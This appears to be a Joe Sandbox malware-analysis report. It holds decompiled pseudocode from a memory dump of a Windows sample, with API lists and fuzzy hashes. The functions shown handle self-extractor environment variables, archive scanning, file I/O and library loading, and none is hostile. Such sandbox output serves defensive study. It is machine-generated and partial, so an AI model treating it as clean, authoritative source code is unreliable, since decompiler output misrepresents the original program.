Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll
API String ID: 3498096277-3360196438
Opcode ID: c3d9d63fdff4957ba425b029740ec37b18bcd9a4dd32a0d2b61ae3c1bd9bf1d4
Instruction ID: d63c6daa2896d7142e8923ce77a76d2404501582e4fadfaa0e8b4f4a87478f04
Opcode Fuzzy Hash: c3d9d63fdff4957ba425b029740ec37b18bcd9a4dd32a0d2b61ae3c1bd9bf1d4
Instruction Fuzzy Hash: 55F0F9B1900259ABCB10AF99D849DEFFBFCFF94701F00409AE855E2251D7B856458BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00872BF6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E00872BF6(void* __eflags, WCHAR* _a4) {
				char _v8196;
				WCHAR* _t8;
				int _t11;
				WCHAR* _t13;

				E00873AC0(0x2000);
				SetEnvironmentVariableW(L"sfxcmd", _a4);
				_t8 = E008665FA(_a4,  &_v8196, 0x1000);
				_t13 = _t8;
				if(_t13 != 0) {
					_push( *_t13 & 0x0000ffff);
					while(E00866716() != 0) {
						_t13 =  &(_t13[1]);
						_push( *_t13 & 0x0000ffff);
					}
					_t11 = SetEnvironmentVariableW(L"sfxpar", _t13); // executed
					return _t11;
				}
				return _t8;
			}

0x00872bfe
0x00872c0c
0x00872c21
0x00872c26
0x00872c2a
0x00872c2f
0x00872c39
0x00872c32
0x00872c38
0x00872c38
0x00872c48
0x00000000
0x00872c48
0x00872c50

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 00872C0C
SetEnvironmentVariableW.KERNELBASE(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00872C48

Strings

sfxcmd, xrefs: 00872C07
sfxpar, xrefs: 00872C43

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 5908f12e72cbd1679775d4c744172c4e9331c616cc7e85407b0c8d45389cc586
Instruction ID: 4b216da9331f1b7864b3a0e440dee91c57e4ce30e1455d5c8a3d0047a68afcf6
Opcode Fuzzy Hash: 5908f12e72cbd1679775d4c744172c4e9331c616cc7e85407b0c8d45389cc586
Instruction Fuzzy Hash: B0F0E576400224E7CB216B988C0AABA7B58FF34B41B048021FC8DD614AEB74CD50DBB3

Uniqueness

Uniqueness Score: -1.00%

Function 0086C370 Relevance: 6.3, APIs: 4, Instructions: 307
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0086C370(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				char _v20;
				char _v22;
				char _v24;
				char _v26;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _t41;
				intOrPtr _t44;
				intOrPtr _t46;
				intOrPtr _t50;
				signed short _t56;
				signed short _t59;
				intOrPtr _t62;
				intOrPtr _t64;
				intOrPtr _t68;
				signed int _t69;
				void* _t71;
				intOrPtr _t75;
				intOrPtr _t76;
				intOrPtr _t84;
				intOrPtr _t85;
				intOrPtr _t86;
				intOrPtr _t94;
				intOrPtr _t96;
				intOrPtr _t99;
				intOrPtr _t100;
				intOrPtr _t101;
				intOrPtr _t104;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t111;
				intOrPtr _t114;
				intOrPtr _t116;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr* _t133;
				intOrPtr _t134;
				intOrPtr* _t135;
				intOrPtr* _t136;
				intOrPtr _t137;
				intOrPtr* _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t143;
				intOrPtr _t147;
				intOrPtr _t149;
				intOrPtr _t153;
				intOrPtr _t155;
				intOrPtr _t157;
				void* _t159;
				intOrPtr _t160;

				_t131 = __edx;
				_t159 =  &_v40;
				_t99 =  *0x8ad5a0; // 0x167e3b
				_t153 =  *0x8ad5a4; // 0x0
				_v32 = 0;
				_t160 = _t153;
				if(_t160 > 0 || _t160 >= 0 && _t99 > 0x2000) {
					_t41 = E00873EA0(_t99, _t153, 0x2000, 0);
					_t107 = _t41;
					asm("cdq");
					_v44 = _t107;
					_t139 = _t41;
					_v56 = _t139;
					_v52 = _t131;
					__eflags = _t107 - 0x12;
					if(_t107 <= 0x12) {
						_t100 = _t99 - _t139;
						__eflags = _t100;
						 *0x8ad5b8 = _t100;
						asm("sbb ebp, eax");
						 *0x8ad5bc = _t153;
					} else {
						_t135 =  *0x8ad598; // 0x0
						asm("sbb ebp, eax");
						 *0x88822c();
						 *((intOrPtr*)( *_t135 + 0x10))();
						_t136 =  *0x8ad598; // 0x0
						 *0x88822c();
						_t84 =  *((intOrPtr*)( *((intOrPtr*)( *_t136 + 0x14))))(); // executed
						_t147 = _v40;
						 *0x8ad5b8 = _t84;
						 *0x8ad5bc = _t131;
						_t85 = E0086A67C(_t131,  *0x8ad574, _t147, _t99 - _v40, _t153, 0);
						asm("cdq");
						_t104 = _t131;
						_v48 = _t85;
						 *0x8ad580 = _t85;
						 *0x8ad584 = _t104;
						__eflags = _t85 - _v60;
						if(_t85 != _v60) {
							goto L34;
						}
						__eflags = _t104 - _v36;
						if(_t104 != _v36) {
							goto L34;
						}
						_t137 =  *0x8ad574; // 0x0
						_t149 = _t147 + 0xffffffea + _t137;
						while(1) {
							 *0x8ad578 = _t149;
							__eflags = _t149 - _t137;
							if(_t149 < _t137) {
								break;
							}
							_t86 = E00869B08(_t149);
							__eflags = _t86;
							if(_t86 != 0) {
								asm("cdq");
								 *0x8ad580 = _v28 - _t149 - _t137;
								asm("sbb ebx, edx");
								__eflags = 1;
								 *0x8ad584 = _t104;
								_v32 = 1;
							} else {
								_t149 = _t149 - 1;
								__eflags = _t149;
								continue;
							}
							L20:
							E0087B0B0( *0x8ad5cc, _t137, 3);
							_t139 = _v40;
							_t159 = _t159 + 0xc;
							goto L22;
						}
						goto L20;
					}
					L22:
					asm("sbb eax, ebp");
					asm("adc eax, 0x0");
					_t44 = E00873DB0(_a4 - _t139 + 0x1fff, _a8, 0x2000, 0);
					_t101 = _v48;
					_t111 = _t44;
					_v56 = _t111;
					_t46 = 1;
					_v52 = 1;
					__eflags = _t101;
					if(_t101 == 0) {
						while(1) {
							L23:
							__eflags = _t46 - _t111;
							if(_t46 > _t111) {
								goto L34;
							}
							_t116 =  *0x8ad5b8; // 0x160000
							_t131 =  *0x8ad5bc; // 0x0
							_t133 =  *0x8ad598; // 0x0
							asm("adc edx, 0xffffffff");
							 *0x8ad5b8 = _t116 + 0xffffe000;
							 *0x8ad5bc = _t131;
							 *0x88822c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t133 + 0x10))))();
							_t75 = E0086A67C(_t131,  *0x8ad574, 0x2000, _t116 + 0xffffe000, _t131, 0);
							asm("cdq");
							_v48 = _t75;
							_t155 = _t131;
							 *0x8ad580 = _t75;
							 *0x8ad584 = _t155;
							__eflags = _t75 - 0x2000;
							if(_t75 == 0x2000) {
								__eflags = _t155;
								if(_t155 == 0) {
									_t134 =  *0x8ad574; // 0x0
									_t25 = _t134 + 0x1fff; // 0x1fff
									_t143 = _t25;
									while(1) {
										 *0x8ad578 = _t143;
										__eflags = _t143 - _t134;
										if(_t143 < _t134) {
											break;
										}
										_t76 = E00869B08(_t143);
										__eflags = _t76;
										if(_t76 != 0) {
											asm("cdq");
											 *0x8ad580 = _v28 - _t143 - _t134;
											asm("sbb ebp, edx");
											 *0x8ad584 = _t155;
											_t101 = 1;
											__eflags = 1;
										} else {
											_t143 = _t143 - 1;
											__eflags = _t143;
											continue;
										}
										L32:
										E0087B0B0( *0x8ad5cc, _t134, 3);
										_t159 = _t159 + 0xc;
										_t111 = _v40;
										_t46 = _v36 + 1;
										_v36 = _t46;
										__eflags = _t101;
										if(_t101 == 0) {
											goto L23;
										}
										goto L33;
									}
									goto L32;
								}
							}
							L33:
							__eflags = _t101;
							if(_t101 == 0) {
								goto L34;
							}
							goto L36;
						}
						goto L34;
					}
					L36:
					_t132 =  *0x8ad574; // 0x0
					_t140 =  *0x8ad578; // 0x2e0c461
				} else {
					_t138 =  *0x8ad598; // 0x0
					 *0x88822c();
					 *((intOrPtr*)( *((intOrPtr*)( *_t138 + 0x10))))();
					_t94 = E0086A67C(_t131,  *0x8ad574,  *0x8ad5a0, 0, 0, 0);
					_t130 =  *0x8ad5a0; // 0x167e3b
					asm("cdq");
					_t157 = _t94;
					_t105 = _t131;
					 *0x8ad580 = _t157;
					asm("cdq");
					 *0x8ad584 = _t105;
					if(_t157 != _t130 || _t105 != _t131) {
						L34:
						_push(2);
						L35:
						_pop(_t71);
						return _t71;
					}
					_t132 =  *0x8ad574; // 0x0
					_t3 = _t132 - 0x16; // -22
					_t140 = _t3 + _t130;
					while(1) {
						 *0x8ad578 = _t140;
						if(_t140 < _t132) {
							break;
						}
						_t96 = E00869B08(_t140);
						__eflags = _t96;
						if(_t96 == 0) {
							_t140 = _t140 - 1;
							__eflags = _t140;
							continue;
						}
						asm("cdq");
						 *0x8ad580 = _t157 - _t140 - _t132;
						asm("sbb ebx, edx");
						 *0x8ad584 = _t105;
						goto L37;
					}
					goto L34;
				}
				L37:
				asm("cdq");
				 *0x89d528 = _t140 - _t132 +  *0x8ad5b8;
				asm("adc edx, [0x8ad5bc]");
				 *0x89d52c = _t131;
				_t50 = E0086A265( &_v24, 0x16);
				__eflags = _t50;
				if(_t50 == 0) {
					_push(0x33);
					goto L35;
				}
				 *0x8ad630 = E0086A112( &_v20);
				 *0x8ad632 = E0086A112( &_v22);
				_t56 = E0086A112( &_v24);
				asm("cdq");
				 *0x8ad638 = _t56 & 0x0000ffff;
				 *0x8ad63c = _t131;
				_t59 = E0086A112( &_v26);
				asm("cdq");
				 *0x8ad640 = _t59 & 0x0000ffff;
				 *0x8ad644 = _t131;
				_t62 = E0086A0ED( &_v28);
				 *0x8ad64c =  *0x8ad64c & 0x00000000;
				 *0x8ad648 = _t62;
				_t64 = E0086A0ED( &_v28);
				 *0x8ad654 =  *0x8ad654 & 0x00000000;
				 *0x8ad650 = _t64;
				 *0x8ad658 = E0086A112( &_v28);
				asm("adc eax, 0x0");
				_t68 = E0086C0EA(_v24 + 0x4c, _t131, __eflags, _v24 + 0x4c, _v20);
				__eflags = _t68;
				if(_t68 == 0) {
					_t114 =  *0x8ad650; // 0x160ac3
					_t69 =  *0x8ad654; // 0x0
					asm("adc eax, [0x8ad64c]");
					 *0x89d534 = _t69;
					__eflags = 0;
					 *0x89d530 = _t114 +  *0x8ad648;
					return 0;
				}
				return _t68;
			}

0x0086c370
0x0086c370
0x0086c374
0x0086c37d
0x0086c388
0x0086c38e
0x0086c390
0x0086c43a
0x0086c43f
0x0086c441
0x0086c442
0x0086c446
0x0086c448
0x0086c44e
0x0086c452
0x0086c455
0x0086c530
0x0086c530
0x0086c532
0x0086c538
0x0086c53a
0x0086c45b
0x0086c45b
0x0086c467
0x0086c470
0x0086c478
0x0086c47b
0x0086c488
0x0086c490
0x0086c492
0x0086c49d
0x0086c4a2
0x0086c4a8
0x0086c4ad
0x0086c4ae
0x0086c4b0
0x0086c4b4
0x0086c4b9
0x0086c4bf
0x0086c4c3
0x00000000
0x00000000
0x0086c4cd
0x0086c4cf
0x00000000
0x00000000
0x0086c4d5
0x0086c4de
0x0086c4ed
0x0086c4ed
0x0086c4f3
0x0086c4f5
0x00000000
0x00000000
0x0086c4e3
0x0086c4e8
0x0086c4ea
0x0086c501
0x0086c504
0x0086c50a
0x0086c50e
0x0086c50f
0x0086c515
0x0086c4ec
0x0086c4ec
0x0086c4ec
0x00000000
0x0086c4ec
0x0086c519
0x0086c522
0x0086c527
0x0086c52b
0x00000000
0x0086c52b
0x00000000
0x0086c4f7
0x0086c542
0x0086c54e
0x0086c55b
0x0086c560
0x0086c565
0x0086c569
0x0086c56d
0x0086c571
0x0086c572
0x0086c576
0x0086c578
0x0086c57e
0x0086c57e
0x0086c57e
0x0086c580
0x00000000
0x00000000
0x0086c586
0x0086c58c
0x0086c598
0x0086c59e
0x0086c5a1
0x0086c5a7
0x0086c5b8
0x0086c5c0
0x0086c5cd
0x0086c5d2
0x0086c5d3
0x0086c5d7
0x0086c5d9
0x0086c5de
0x0086c5e4
0x0086c5e9
0x0086c5eb
0x0086c5ed
0x0086c5ef
0x0086c5f5
0x0086c5f5
0x0086c608
0x0086c608
0x0086c60e
0x0086c610
0x00000000
0x00000000
0x0086c5fe
0x0086c603
0x0086c605
0x0086c61c
0x0086c61f
0x0086c625
0x0086c629
0x0086c62f
0x0086c62f
0x0086c607
0x0086c607
0x0086c607
0x00000000
0x0086c607
0x0086c630
0x0086c639
0x0086c642
0x0086c645
0x0086c649
0x0086c64a
0x0086c64e
0x0086c650
0x00000000
0x00000000
0x00000000
0x0086c650
0x00000000
0x0086c612
0x0086c5ed
0x0086c656
0x0086c656
0x0086c658
0x00000000
0x00000000
0x00000000
0x0086c658
0x00000000
0x0086c57e
0x0086c662
0x0086c662
0x0086c668
0x0086c3a0
0x0086c3a0
0x0086c3b0
0x0086c3b8
0x0086c3c6
0x0086c3cb
0x0086c3d1
0x0086c3d2
0x0086c3d4
0x0086c3d8
0x0086c3de
0x0086c3df
0x0086c3e7
0x0086c65a
0x0086c65a
0x0086c65c
0x0086c65c
0x00000000
0x0086c65c
0x0086c3f5
0x0086c3fb
0x0086c3fe
0x0086c40d
0x0086c40d
0x0086c415
0x00000000
0x00000000
0x0086c403
0x0086c408
0x0086c40a
0x0086c40c
0x0086c40c
0x00000000
0x0086c40c
0x0086c420
0x0086c423
0x0086c429
0x0086c42b
0x00000000
0x0086c42b
0x00000000
0x0086c417
0x0086c66e
0x0086c672
0x0086c679
0x0086c682
0x0086c68b
0x0086c691
0x0086c696
0x0086c698
0x0086c69a
0x00000000
0x0086c69a
0x0086c6a8
0x0086c6b8
0x0086c6c3
0x0086c6cb
0x0086c6cc
0x0086c6d6
0x0086c6dc
0x0086c6e4
0x0086c6e5
0x0086c6ef
0x0086c6f5
0x0086c6fa
0x0086c701
0x0086c70b
0x0086c710
0x0086c717
0x0086c72a
0x0086c737
0x0086c73c
0x0086c741
0x0086c743
0x0086c745
0x0086c751
0x0086c756
0x0086c75c
0x0086c761
0x0086c763
0x00000000
0x0086c763
0x0086c770

APIs

__allrem.LIBCMT ref: 0086C43A
_strncpy.LIBCMT ref: 0086C522
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0086C560
_strncpy.LIBCMT ref: 0086C639

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _strncpy$Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 2527496121-0
Opcode ID: b5f1befb3fd34e238c1799f27ce340da1acce92576dd4541b7ed2d39e6570c3a
Instruction ID: a6ff79358b867080b4eabb7c150768f03829aa6b8b7756f7b92144d9c216cfc8
Opcode Fuzzy Hash: b5f1befb3fd34e238c1799f27ce340da1acce92576dd4541b7ed2d39e6570c3a
Instruction Fuzzy Hash: 4DB192B19043108FE704DF28EC95A7A7BE5FB99308F11452EE85AD3B61E730A805DF96

Uniqueness

Uniqueness Score: -1.00%

Function 00861CD5 Relevance: 6.1, APIs: 4, Instructions: 56
fileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00861CD5(void* __ecx, void* _a4, long _a8) {
				long _v8;
				int _t14;
				signed int _t15;
				void* _t25;

				_push(__ecx);
				_t25 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x10)) == 1) {
					 *(_t25 + 8) = GetStdHandle(0xfffffff6);
				}
				_t14 = ReadFile( *(_t25 + 8), _a4, _a8,  &_v8, 0); // executed
				if(_t14 != 0) {
					_t15 = _v8;
				} else {
					_t16 = E00861DE2(_t25);
					if(_t16 == 0) {
						L7:
						if( *((intOrPtr*)(_t25 + 0x10)) != 1) {
							L10:
							if( *((intOrPtr*)(_t25 + 0x10)) != 0 || _a8 <= 0x8000) {
								L14:
								_t15 = _t16 | 0xffffffff;
							} else {
								_t16 = GetLastError();
								if(_t16 != 0x21) {
									goto L14;
								} else {
									_push(0x8000);
									goto L6;
								}
							}
						} else {
							_t16 = GetLastError();
							if(_t16 != 0x6d) {
								goto L10;
							} else {
								_t15 = 0;
							}
						}
					} else {
						_t16 = 0x4e20;
						if(_a8 <= 0x4e20) {
							goto L7;
						} else {
							_push(0x4e20);
							L6:
							_push(_a4);
							_t15 = E00861CD5(_t25);
						}
					}
				}
				return _t15;
			}

0x00861cd8
0x00861cda
0x00861ce1
0x00861ceb
0x00861ceb
0x00861cfd
0x00861d05
0x00861d61
0x00861d07
0x00861d09
0x00861d10
0x00861d29
0x00861d2d
0x00861d3e
0x00861d42
0x00861d5c
0x00861d5c
0x00861d4e
0x00861d4e
0x00861d57
0x00000000
0x00861d59
0x00861d59
0x00000000
0x00861d59
0x00861d57
0x00861d2f
0x00861d2f
0x00861d38
0x00000000
0x00861d3a
0x00861d3a
0x00861d3a
0x00861d38
0x00861d12
0x00861d12
0x00861d1a
0x00000000
0x00861d1c
0x00861d1c
0x00861d1d
0x00861d1d
0x00861d22
0x00861d22
0x00861d1a
0x00861d10
0x00861d67

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00861CE5
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00861CFD
GetLastError.KERNEL32 ref: 00861D2F
GetLastError.KERNEL32 ref: 00861D4E

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: a1d80174c5a1efbc86953c8a91b8a79751d9aea1aec91f4b642fe05a7bf3c93d
Instruction ID: f3b3ea94a741d30ecaf951551b154281e7781a150f4674bf04cef179b2966f79
Opcode Fuzzy Hash: a1d80174c5a1efbc86953c8a91b8a79751d9aea1aec91f4b642fe05a7bf3c93d
Instruction Fuzzy Hash: 1411E134500608EBDF309F69C80CAAE37BCFB01324F29862AF426C5192DB70CE44DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0087F6B4 Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0087F6B4(signed int _a4) {
				signed int _t9;
				void* _t10;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0x8c8c18 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0x88c0b0 + _t9 * 4);
					_t10 = LoadLibraryExW(_t22, 0, 0x800); // executed
					_t27 = _t10;
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0xe2d35319
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}

0x0087f6b9
0x0087f6bd
0x0087f6c4
0x0087f6c8
0x0087f6d6
0x0087f6e6
0x0087f6ec
0x0087f6f0
0x0087f719
0x0087f71b
0x0087f71f
0x0087f722
0x0087f722
0x0087f728
0x0087f72a
0x00000000
0x0087f72b
0x0087f6f2
0x0087f6fb
0x0087f70a
0x0087f6fd
0x0087f700
0x0087f706
0x0087f706
0x0087f70e
0x00000000
0x0087f710
0x0087f713
0x0087f715
0x00000000
0x0087f715
0x0087f70e
0x0087f6ca
0x0087f6cf
0x00000000

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,00878987,00000000,00000000,?,0087F65B,00878987,00000000,00000000,00000000,?,0087F858,00000006,FlsSetValue), ref: 0087F6E6
GetLastError.KERNEL32(?,0087F65B,00878987,00000000,00000000,00000000,?,0087F858,00000006,FlsSetValue,0088C630,FlsSetValue,00000000,00000364,?,0087E1D7), ref: 0087F6F2
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0087F65B,00878987,00000000,00000000,00000000,?,0087F858,00000006,FlsSetValue,0088C630,FlsSetValue,00000000), ref: 0087F700

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: a0ae8236280f1260adefc496ff865239a799fa132ff45e40c6691bd7b126edca
Instruction ID: ce125c759549b7d10030a6fa4700d01f00177f29c779664de490d87abf9a3ce0
Opcode Fuzzy Hash: a0ae8236280f1260adefc496ff865239a799fa132ff45e40c6691bd7b126edca
Instruction Fuzzy Hash: C901F736645226EBCB254A7EAC84A563BE9FF547E57204630FA0AD3185DB31D80187E0

Uniqueness

Uniqueness Score: -1.00%

Function 0086241A Relevance: 4.6, APIs: 3, Instructions: 111
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0086241A() {
				void* __ecx;
				void* __ebp;
				long _t37;
				void* _t42;
				void* _t46;
				signed int _t49;
				intOrPtr* _t53;
				void** _t54;
				DWORD* _t61;
				void* _t65;
				intOrPtr _t66;
				long _t67;
				intOrPtr* _t69;
				void* _t70;

				_t67 =  *(_t70 + 0x18);
				_t69 = _t53;
				if(_t67 != 0) {
					_t3 = _t69 + 8; // 0x8
					_t54 = _t3;
					 *(_t70 + 0xc) = _t54;
					if( *((intOrPtr*)(_t69 + 0x10)) != 1) {
						 *(_t70 + 0xc) = _t54;
					} else {
						_t46 = GetStdHandle(0xfffffff5);
						_t5 = _t69 + 8; // 0x8
						_t54 = _t5;
						 *_t54 = _t46;
					}
					while(1) {
						 *(_t70 + 0x10) =  *(_t70 + 0x10) & 0x00000000;
						_t49 = 0;
						if( *((intOrPtr*)(_t69 + 0x10)) == 0) {
							goto L13;
						}
						_t65 = 0;
						if(_t67 == 0) {
							L15:
							if( *((char*)(_t69 + 0x1e)) == 0 ||  *((intOrPtr*)(_t69 + 0x10)) != 0) {
								L22:
								 *((char*)(_t69 + 0xc)) = 1;
								return _t49;
							} else {
								_t20 = _t69 + 0x32; // 0x32
								_t64 = _t20;
								if(E0086171B(0x8b2b44, _t20, 0) == 0) {
									E00861A09(0x8b2b44, _t69, 0, _t64);
									goto L22;
								}
								_t54 =  *(_t70 + 0x14);
								if( *(_t70 + 0x10) < _t67 &&  *(_t70 + 0x10) > 0) {
									_t66 =  *_t69;
									 *0x88822c(0);
									_t42 =  *((intOrPtr*)( *((intOrPtr*)(_t66 + 0x14))))();
									asm("sbb edx, 0x0");
									 *0x88822c(_t42 -  *(_t70 + 0x14), _t61);
									 *((intOrPtr*)(_t66 + 0x10))();
									_t67 =  *(_t70 + 0x20);
									_t54 =  *(_t70 + 0x14);
								}
								continue;
							}
						} else {
							goto L8;
						}
						while(1) {
							L8:
							_t37 = _t67 - _t65;
							if(_t37 >= 0x4000) {
								_t37 = 0x4000;
							}
							_t61 = _t70 + 0x14;
							_t13 = WriteFile( *_t54,  *(_t70 + 0x28) + _t65, _t37, _t61, 0) == 1;
							_t49 = _t49 & 0xffffff00 | _t13;
							if(_t13 != 0) {
								break;
							}
							_t54 =  *(_t70 + 0x14);
							_t65 = _t65 + 0x4000;
							if(_t65 < _t67) {
								continue;
							}
							break;
						}
						L14:
						if(_t49 != 0) {
							goto L22;
						}
						goto L15;
						L13:
						WriteFile( *_t54,  *(_t70 + 0x28), _t67, _t70 + 0x14, 0);
						asm("sbb bl, bl");
						_t49 = 1;
						goto L14;
					}
				}
				return 1;
			}

0x0086241e
0x00862422
0x00862426
0x00862433
0x00862433
0x00862436
0x0086243a
0x0086244b
0x0086243c
0x0086243e
0x00862444
0x00862444
0x00862447
0x00862447
0x00862451
0x00862451
0x00862456
0x0086245c
0x00000000
0x00000000
0x0086245e
0x00862462
0x008624c4
0x008624c8
0x00862542
0x00862545
0x00000000
0x008624d0
0x008624d2
0x008624d2
0x008624e2
0x0086253d
0x00000000
0x0086253d
0x008624e4
0x008624ec
0x008624fd
0x00862507
0x0086250f
0x00862518
0x0086251d
0x00862525
0x00862528
0x0086252c
0x0086252c
0x00000000
0x008624ec
0x00000000
0x00000000
0x00000000
0x00862464
0x00862464
0x00862466
0x0086246d
0x0086246f
0x0086246f
0x00862476
0x0086248e
0x0086248e
0x00862491
0x00000000
0x00000000
0x00862493
0x00862497
0x0086249f
0x00000000
0x00000000
0x00000000
0x008624a1
0x008624c0
0x008624c2
0x00000000
0x00000000
0x00000000
0x008624a3
0x008624b1
0x008624bc
0x008624be
0x00000000
0x008624be
0x00862451
0x00000000

APIs

GetStdHandle.KERNEL32(000000F5,?,?,00000000,00000000,0086A066,?,?,?,?,?,0086A820,0089D56C,?,0086B1B3,00010000), ref: 0086243E
